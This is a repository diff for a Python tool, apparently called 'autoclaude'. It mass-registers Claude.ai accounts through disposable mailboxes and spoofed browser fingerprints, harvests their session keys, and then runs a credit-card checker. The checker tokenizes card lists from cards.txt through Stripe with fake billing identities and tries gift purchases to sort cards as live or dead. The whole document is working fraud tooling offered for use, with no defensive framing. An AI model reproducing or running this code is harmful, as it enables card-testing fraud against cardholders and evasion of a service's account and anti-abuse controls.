payload = {
|
||||
"product_id": PRODUCT_ID,
|
||||
"currency": "USD",
|
||||
"payment_method_id": pm_id,
|
||||
"to_email": self.account.email,
|
||||
"to_name": "",
|
||||
"from_name": "Checker",
|
||||
"from_email": self.account.email,
|
||||
"gift_message": "",
|
||||
"card_color": "clay",
|
||||
"billing_address": {
|
||||
"line1": "3891 Libby Street",
|
||||
"city": "Burbank",
|
||||
"state": "CA",
|
||||
"postal_code": "91505",
|
||||
"country": "US"
|
||||
},
|
||||
"scheduled_delivery_at": None
|
||||
}
|
||||
|
||||
try:
|
||||
print(f"[*] 正在尝试扣款 (Gift Purchase)...")
|
||||
resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124")
|
||||
|
||||
resp_json = {}
|
||||
try:
|
||||
resp_json = resp.json()
|
||||
except:
|
||||
pass
|
||||
|
||||
if resp.status_code == 200:
|
||||
print("[$$$] 成功! CHARGED! 该卡有效 (Live)!")
|
||||
return "LIVE"
|
||||
elif resp.status_code == 402:
|
||||
err_msg = resp_json.get("error", {}).get("message", "Unknown error")
|
||||
print(f"[-] 支付失败 (402): {err_msg}")
|
||||
|
||||
if "declined" in err_msg.lower():
|
||||
return "DECLINED"
|
||||
elif "insufficient" in err_msg.lower():
|
||||
return "INSUFFICIENT_FUNDS"
|
||||
elif "security code" in err_msg.lower() or "cvc" in err_msg.lower():
|
||||
print("[!] CCN LIVE (CVC 错误,说明卡号有效)")
|
||||
return "CCN_LIVE"
|
||||
else:
|
||||
return "DEAD"
|
||||
else:
|
||||
print(f"[-] 未知响应 Code: {resp.status_code}, Body: {resp.text}")
|
||||
return "ERROR"
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] 购买请求异常: {e}")
|
||||
return "ERROR"
|
||||
|
||||
|
||||
def attack_claude(target_email):
|
||||
"""伪装成浏览器发起攻击"""
|
||||
device_id = str(uuid.uuid4())
|
||||
|
||||
headers = {
|
||||
"Host": "claude.ai",
|
||||
"Anthropic-Anonymous-Id": f"claudeai.v1.{uuid.uuid4()}",
|
||||
"Sec-Ch-Ua-Full-Version-List": '"Google Chrome";v="143.0.7499.105", "Chromium";v="143.0.7499.105", "Not A(Brand";v="24.0.0.0"',
|
||||
"Sec-Ch-Ua-Platform": '"Linux"',
|
||||
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
|
||||
"Baggage": "sentry-environment=production,sentry-release=ce5600af514463a166f4cd356a6afbc46ee5cd3d,sentry-public_key=58e9b9d0fc244061a1b54fe288b0e483,sentry-trace_id=7bdc872994f347d6b5a610a520f40401,sentry-org_id=1158394",
|
||||
"Anthropic-Client-Sha": "ce5600af514463a166f4cd356a6afbc46ee5cd3d",
|
||||
"Content-Type": "application/json",
|
||||
"Anthropic-Client-Platform": "web_claude_ai",
|
||||
"Anthropic-Device-Id": device_id,
|
||||
"Anthropic-Client-Version": "1.0.0",
|
||||
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
|
||||
"Origin": "https://claude.ai",
|
||||
"Referer": "https://claude.ai/login?returnTo=%2Fonboarding",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9",
|
||||
"Priority": "u=1, i"
|
||||
}
|
||||
|
||||
payload = {
|
||||
"utc_offset": -480,
|
||||
"email_address": target_email,
|
||||
"login_intent": None,
|
||||
"locale": "en-US",
|
||||
"oauth_client_id": None,
|
||||
"source": "claude"
|
||||
}
|
||||
|
||||
try:
|
||||
print(f"[*] 正在向 Claude 发送 Magic Link 请求: {target_email}")
|
||||
session = requests.Session()
|
||||
response = session.post(
|
||||
CLAUDE_URL,
|
||||
json=payload,
|
||||
headers=headers,
|
||||
impersonate="chrome124"
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
print("[+] 请求成功,Claude 已发信。")
|
||||
return True
|
||||
elif response.status_code == 429:
|
||||
print("[-] 被限流了 (Rate Limited)。")
|
||||
else:
|
||||
print(f"[-] 请求失败 Code: {response.status_code}, Body: {response.text}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] 发生异常: {e}")
|
||||
|
||||
return False
|
||||
|
||||
def finalize_login(magic_link_fragment):
|
||||
"""
|
||||
完成最后一步:无需浏览器,直接交换 sessionKey。
|
||||
magic_link_fragment 格式: https://claude.ai/magic-link#token:base64_email
|
||||
返回 ClaudeAccount 对象
|
||||
"""
|
||||
|
||||
# 1. 外科手术式拆解 Hash
|
||||
if '#' in magic_link_fragment:
|
||||
fragment = magic_link_fragment.split('#')[1]
|
||||
else:
|
||||
fragment = magic_link_fragment
|
||||
|
||||
if ':' not in fragment:
|
||||
print("[-] 链接格式错误: 找不到 token 和 email 的分隔符")
|
||||
return None
|
||||
|
||||
# 分割 nonce 和 base64_email
|
||||
nonce, encoded_email = fragment.split(':', 1)
|
||||
|
||||
try:
|
||||
decoded_email = base64.b64decode(encoded_email).decode('utf-8')
|
||||
print(f"[*] 解析成功 -> Email: {decoded_email} | Nonce: {nonce[:8]}...")
|
||||
except:
|
||||
print(f"[*] 解析成功 -> Nonce: {nonce[:8]}...")
|
||||
|
||||
# 2. 构造最终 payload
|
||||
verify_url = "https://claude.ai/api/auth/verify_magic_link"
|
||||
|
||||
payload = {
|
||||
"credentials": {
|
||||
"method": "nonce",
|
||||
"nonce": nonce,
|
||||
"encoded_email_address": encoded_email
|
||||
},
|
||||
"locale": "en-US",
|
||||
"oauth_client_id": None,
|
||||
"source": "claude"
|
||||
}
|
||||
|
||||
# 3. 伪造指纹头
|
||||
device_id = str(uuid.uuid4())
|
||||
headers = {
|
||||
"Host": "claude.ai",
|
||||
"Content-Type": "application/json",
|
||||
"Origin": "https://claude.ai",
|
||||
"Referer": "https://claude.ai/magic-link",
|
||||
"User-Agent": UA,
|
||||
"Accept": "*/*",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9",
|
||||
"Anthropic-Client-Version": "1.0.0",
|
||||
"Anthropic-Client-Platform": "web_claude_ai",
|
||||
"Anthropic-Device-Id": device_id,
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Site": "same-origin",
|
||||
"Priority": "u=1, i"
|
||||
}
|
||||
|
||||
try:
|
||||
print(f"[*] 正在交换 SessionKey...")
|
||||
session = requests.Session()
|
||||
response = session.post(
|
||||
verify_url,
|
||||
json=payload,
|
||||
headers=headers,
|
||||
impersonate="chrome124"
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
# 1. 提取 SessionKey
|
||||
session_key = response.cookies.get("sessionKey")
|
||||
|
||||
if not session_key:
|
||||
for name, value in response.cookies.items():
|
||||
if name == "sessionKey":
|
||||
session_key = value
|
||||
break
|
||||
|
||||
if not session_key:
|
||||
print("[-] 请求成功 (200),但未在 Cookie 中找到 sessionKey。")
|
||||
print(f"Response: {str(data)[:200]}...")
|
||||
return None
|
||||
|
||||
# 2. 提取 Org UUID
|
||||
try:
|
||||
org_uuid = data['account']['memberships'][0]['organization']['uuid']
|
||||
email = data['account']['email_address']
|
||||
print(f"[+] 登录成功。OrgID: {org_uuid}")
|
||||
return ClaudeAccount(email, session_key, org_uuid, UA)
|
||||
except KeyError as e:
|
||||
print(f"[-] 无法提取 Organization UUID,结构可能变了: {e}")
|
||||
print(f"Response keys: {data.keys() if isinstance(data, dict) else type(data)}")
|
||||
return None
|
||||
|
||||
else:
|
||||
print(f"[-] 交换失败 Code: {response.status_code}")
|
||||
print(f"Body: {response.text}")
|
||||
return None
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] 发生异常: {e}")
|
||||
return None
|
||||
from config import MAIL_SYSTEMS
|
||||
from mail_service import MailPool, extract_magic_link
|
||||
from stripe_token import StripeTokenizer
|
||||
from gift_checker import GiftChecker
|
||||
from claude_auth import attack_claude, finalize_login
|
||||
|
||||
|
||||
# --- 主流程 (The Ritual) ---
|
||||
if __name__ == "__main__":
|
||||
# 1. 初始化邮件系统
|
||||
mail_sys = MailSystem(MAIL_API_BASE, ADMIN_EMAIL, ADMIN_PASS)
|
||||
|
||||
# 1. 初始化邮箱系统池
|
||||
mail_pool = MailPool(MAIL_SYSTEMS)
|
||||
|
||||
if mail_pool.count == 0:
|
||||
print("[-] 没有可用的邮箱系统,退出。")
|
||||
exit(1)
|
||||
|
||||
print(mail_pool.info())
|
||||
|
||||
# 2. 生成随机邮箱并注册
|
||||
# 生成 10 位随机字符作为邮箱前缀
|
||||
random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
|
||||
target_email = mail_sys.create_user(random_prefix)
|
||||
|
||||
if target_email:
|
||||
target_email, mail_sys = mail_pool.create_user(random_prefix)
|
||||
|
||||
if target_email and mail_sys:
|
||||
# 3. 发送 Magic Link
|
||||
if attack_claude(target_email):
|
||||
|
||||
# 4. 等待并提取链接
|
||||
|
||||
# 4. 等待并提取链接(使用创建邮箱时对应的系统)
|
||||
email_content = mail_sys.wait_for_email(target_email)
|
||||
|
||||
|
||||
if email_content:
|
||||
magic_link = extract_magic_link(email_content)
|
||||
if magic_link:
|
||||
print(f"[+] 捕获 Magic Link: {magic_link}")
|
||||
|
||||
|
||||
# --- 终极步骤:登录获取 Account ---
|
||||
account = finalize_login(magic_link)
|
||||
|
||||
|
||||
if account:
|
||||
print("\n" + "="*50)
|
||||
print(f"[+] REGISTERED SUCCESSFUL")
|
||||
print(f"Email: {account.email}")
|
||||
print(f"SessionKey: {account.session_key}")
|
||||
print(f"OrgUUID: {account.org_uuid}")
|
||||
|
||||
|
||||
with open("accounts.txt", "a") as f:
|
||||
f.write(f"{account.email}|{account.session_key}|{account.org_uuid}\n")
|
||||
|
||||
|
||||
print("="*50 + "\n")
|
||||
|
||||
|
||||
# --- CC Checker 流程 ---
|
||||
# 从 cards.txt 读取卡片列表 (格式: CARD|MM|YY|CVC)
|
||||
cards = []
|
||||
try:
|
||||
with open("cards.txt", "r") as f:
|
||||
@@ -497,25 +62,18 @@ if __name__ == "__main__":
|
||||
print(f"[*] 从 cards.txt 读取到 {len(cards)} 张卡片")
|
||||
except FileNotFoundError:
|
||||
print("[*] 未找到 cards.txt,跳过 CC Checker")
|
||||
|
||||
|
||||
if cards:
|
||||
tokenizer = StripeTokenizer(account.user_agent)
|
||||
checker = GiftChecker(account)
|
||||
|
||||
|
||||
for card_line in cards:
|
||||
cc, mm, yy, cvc = card_line.split("|")
|
||||
|
||||
# 1. 获取 Stripe Token
|
||||
pm_id = tokenizer.get_token(cc, mm, yy, cvc)
|
||||
|
||||
|
||||
if pm_id:
|
||||
# 2. 尝试购买
|
||||
result = checker.purchase(pm_id)
|
||||
|
||||
# 3. 输出结果
|
||||
print(f"Card: {cc[:4]}... -> {result}")
|
||||
|
||||
# 不要跑太快,防止封 Session
|
||||
time.sleep(2)
|
||||
else:
|
||||
print("[-] 获取 Account 失败。")
|
||||
|
||||
10
models.py
Normal file
10
models.py
Normal file
@@ -0,0 +1,10 @@
|
||||
import uuid
|
||||
|
||||
|
||||
class ClaudeAccount:
|
||||
def __init__(self, email, session_key, org_uuid, user_agent):
|
||||
self.email = email
|
||||
self.session_key = session_key
|
||||
self.org_uuid = org_uuid
|
||||
self.user_agent = user_agent
|
||||
self.device_id = str(uuid.uuid4())
|
||||
@@ -6,5 +6,6 @@ readme = "README.md"
|
||||
requires-python = ">=3.12"
|
||||
dependencies = [
|
||||
"curl-cffi>=0.14.0",
|
||||
"python-telegram-bot>=21.0",
|
||||
"requests>=2.32.5",
|
||||
]
|
||||
|
||||
91
stripe_token.py
Normal file
91
stripe_token.py
Normal file
@@ -0,0 +1,91 @@
|
||||
import uuid
|
||||
import random
|
||||
from curl_cffi import requests # 用于模拟指纹
|
||||
|
||||
from config import STRIPE_PK
|
||||
from identity import random_address, random_name
|
||||
|
||||
|
||||
class StripeTokenizer:
|
||||
def __init__(self, user_agent):
|
||||
self.user_agent = user_agent
|
||||
self.guid = f"{uuid.uuid4()}0a75cf"
|
||||
self.muid = f"{uuid.uuid4()}1d4c1f"
|
||||
self.sid = f"{uuid.uuid4()}eb67c4"
|
||||
self.client_session_id = str(uuid.uuid4())
|
||||
self.elements_session_config_id = str(uuid.uuid4())
|
||||
|
||||
def get_token(self, cc_num, exp_m, exp_y, cvc):
|
||||
"""与 Stripe 交互获取 pm_id"""
|
||||
url = "https://api.stripe.com/v1/payment_methods"
|
||||
|
||||
headers = {
|
||||
"Host": "api.stripe.com",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
"Sec-Ch-Ua-Platform": '"Linux"',
|
||||
"User-Agent": self.user_agent,
|
||||
"Accept": "application/json",
|
||||
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
|
||||
"Sec-Ch-Ua-Mobile": "?0",
|
||||
"Origin": "https://js.stripe.com",
|
||||
"Sec-Fetch-Site": "same-site",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Referer": "https://js.stripe.com/",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9",
|
||||
"Priority": "u=1, i"
|
||||
}
|
||||
|
||||
# 构造完整的 form-data
|
||||
time_on_page = random.randint(30000, 500000)
|
||||
addr = random_address()
|
||||
name = random_name()
|
||||
|
||||
data = {
|
||||
"type": "card",
|
||||
"card[number]": cc_num,
|
||||
"card[cvc]": cvc,
|
||||
"card[exp_year]": exp_y[-2:] if len(exp_y) == 4 else exp_y,
|
||||
"card[exp_month]": exp_m,
|
||||
"allow_redisplay": "unspecified",
|
||||
"billing_details[address][postal_code]": addr["postal_code"],
|
||||
"billing_details[address][country]": addr["country"],
|
||||
"billing_details[address][line1]": addr["line1"],
|
||||
"billing_details[address][city]": addr["city"],
|
||||
"billing_details[address][state]": addr["state"],
|
||||
"billing_details[name]": name,
|
||||
"billing_details[phone]": "",
|
||||
"payment_user_agent": "stripe.js/5766238eed; stripe-js-v3/5766238eed; payment-element; deferred-intent; autopm",
|
||||
"referrer": "https://claude.ai",
|
||||
"time_on_page": str(time_on_page),
|
||||
"client_attribution_metadata[client_session_id]": self.client_session_id,
|
||||
"client_attribution_metadata[merchant_integration_source]": "elements",
|
||||
"client_attribution_metadata[merchant_integration_subtype]": "payment-element",
|
||||
"client_attribution_metadata[merchant_integration_version]": "2021",
|
||||
"client_attribution_metadata[payment_intent_creation_flow]": "deferred",
|
||||
"client_attribution_metadata[payment_method_selection_flow]": "automatic",
|
||||
"client_attribution_metadata[elements_session_config_id]": self.elements_session_config_id,
|
||||
"client_attribution_metadata[merchant_integration_additional_elements][0]": "payment",
|
||||
"client_attribution_metadata[merchant_integration_additional_elements][1]": "address",
|
||||
"guid": self.guid,
|
||||
"muid": self.muid,
|
||||
"sid": self.sid,
|
||||
"key": STRIPE_PK,
|
||||
"_stripe_version": "2025-03-31.basil"
|
||||
}
|
||||
|
||||
try:
|
||||
print(f"[*] 正在向 Stripe 请求 Token: {cc_num[:4]}******{cc_num[-4:]}")
|
||||
resp = requests.post(url, data=data, headers=headers, impersonate="chrome124")
|
||||
|
||||
if resp.status_code == 200:
|
||||
pm_id = resp.json().get("id")
|
||||
print(f"[+] Stripe Token 获取成功: {pm_id}")
|
||||
return pm_id
|
||||
else:
|
||||
print(f"[-] Stripe 拒绝: {resp.text}")
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f"[-] Stripe 连接错误: {e}")
|
||||
return None
|
||||
78
uv.lock
generated
78
uv.lock
generated
@@ -1,6 +1,23 @@
|
||||
version = 1
|
||||
revision = 3
|
||||
requires-python = ">=3.12"
|
||||
resolution-markers = [
|
||||
"python_full_version >= '3.14'",
|
||||
"python_full_version < '3.14'",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "anyio"
|
||||
version = "4.12.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "idna" },
|
||||
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "autoclaude"
|
||||
@@ -8,12 +25,14 @@ version = "0.1.0"
|
||||
source = { virtual = "." }
|
||||
dependencies = [
|
||||
{ name = "curl-cffi" },
|
||||
{ name = "python-telegram-bot" },
|
||||
{ name = "requests" },
|
||||
]
|
||||
|
||||
[package.metadata]
|
||||
requires-dist = [
|
||||
{ name = "curl-cffi", specifier = ">=0.14.0" },
|
||||
{ name = "python-telegram-bot", specifier = ">=21.0" },
|
||||
{ name = "requests", specifier = ">=2.32.5" },
|
||||
]
|
||||
|
||||
@@ -163,6 +182,43 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/5c/7c/d2ba86b0b3e1e2830bd94163d047de122c69a8df03c5c7c36326c456ad82/curl_cffi-0.14.0-cp39-abi3-win_arm64.whl", hash = "sha256:2eed50a969201605c863c4c31269dfc3e0da52916086ac54553cfa353022425c", size = 1425067, upload-time = "2025-12-16T03:25:06.454Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "h11"
|
||||
version = "0.16.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "httpcore"
|
||||
version = "1.0.9"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "certifi" },
|
||||
{ name = "h11" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "httpx"
|
||||
version = "0.28.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "anyio" },
|
||||
{ name = "certifi" },
|
||||
{ name = "httpcore" },
|
||||
{ name = "idna" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "idna"
|
||||
version = "3.11"
|
||||
@@ -181,6 +237,19 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "python-telegram-bot"
|
||||
version = "22.6"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "httpcore", marker = "python_full_version >= '3.14'" },
|
||||
{ name = "httpx" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/cd/9b/8df90c85404166a6631e857027866263adb27440d8af1dbeffbdc4f0166c/python_telegram_bot-22.6.tar.gz", hash = "sha256:50ae8cc10f8dff01445628687951020721f37956966b92a91df4c1bf2d113742", size = 1503761, upload-time = "2026-01-24T13:57:00.269Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/13/97/7298f0e1afe3a1ae52ff4c5af5087ed4de319ea73eb3b5c8c4dd4e76e708/python_telegram_bot-22.6-py3-none-any.whl", hash = "sha256:e598fe171c3dde2dfd0f001619ee9110eece66761a677b34719fb18934935ce0", size = 737267, upload-time = "2026-01-24T13:56:58.06Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "requests"
|
||||
version = "2.32.5"
|
||||
@@ -196,6 +265,15 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "typing-extensions"
|
||||
version = "4.15.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "urllib3"
|
||||
version = "2.6.3"
|
||||
|
||||
Reference in New Issue
Block a user